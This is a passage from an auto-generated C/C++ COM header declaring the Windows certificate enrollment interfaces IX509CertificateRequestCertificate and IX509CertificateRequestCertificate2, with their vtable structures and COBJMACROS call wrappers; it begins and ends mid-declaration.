__RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificateVtbl;\n\n    interface IX509CertificateRequestCertificate\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate2 : public IX509CertificateRequestCertificate\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificate2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( 